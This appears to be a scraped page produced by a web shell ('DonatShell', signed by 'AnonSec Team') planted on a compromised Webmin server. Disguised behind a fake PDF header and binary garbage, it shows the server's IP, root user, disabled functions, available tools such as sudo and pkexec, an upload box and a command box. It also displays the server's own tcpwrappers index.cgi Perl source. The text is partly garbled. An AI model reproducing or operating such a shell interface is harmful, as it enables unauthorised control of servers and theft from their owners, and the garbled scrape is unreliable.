%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/tcpwrappers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/tcpwrappers//index.cgi
#!/usr/bin/perl
# Show allowed and denied lists

require './tcpwrappers-lib.pl';
&ReadParse();
&ui_print_header(undef, $text{'index_title'}, "", "intro", 1, 1);

# Start of tabs
@types = ('allow', 'deny');
print &ui_tabs_start(
	[ map { [ $_, $text{'index_'.$_.'title'},
		  "index.cgi?type=$_" ] } @types ],
	"type",
	$in{'type'} || "allow",
	1);

# Tables of rules
$formno = 0;
foreach my $type ('allow', 'deny') {
	print &ui_tabs_start_tab("type", $type);
	my $file = $type eq 'allow' ? $config{'hosts_allow'}
				    : $config{'hosts_deny'};
	@rules = &list_rules($file);

	# Build grid of rules
	@table = ( );
	foreach my $r (@rules) {
		push(@table, [
			{ 'type' => 'checkbox', 'name' => 'd',
			  'value' => $r->{'id'} },
			&ui_link("edit_rule.cgi?$type=1&id=$r->{'id'}","$r->{'service'}"),
			$r->{'host'},
			$r->{'cmd'} ? join("<br>", split /:/, $r->{'cmd'})
				    : $text{'index_none'},
			]);
		}

	# Show them
	print &ui_form_columns_table(
		"delete_rules.cgi",
	       [ [ "delete", $text{'index_delete'} ] ],
	       1,
	       [ [ "edit_rule.cgi?$type=1&new=1", $text{'index_add'} ] ],
	       [ [ $type, 1 ] ],
	       [ "", $text{'index_service'},
		 $text{'index_hosts'}, $text{'index_cmd'}, ],
	       100,
	       \@table,
	       undef,
	       0,
	       undef,
	       &text('index_norule', $file),
	       $formno++,
	       );			
	print &ui_tabs_end_tab("type", $type);
	}

print &ui_tabs_end(1);

&ui_print_footer("/", $text{'index_return'});

Anon7 - 2022
AnonSec Team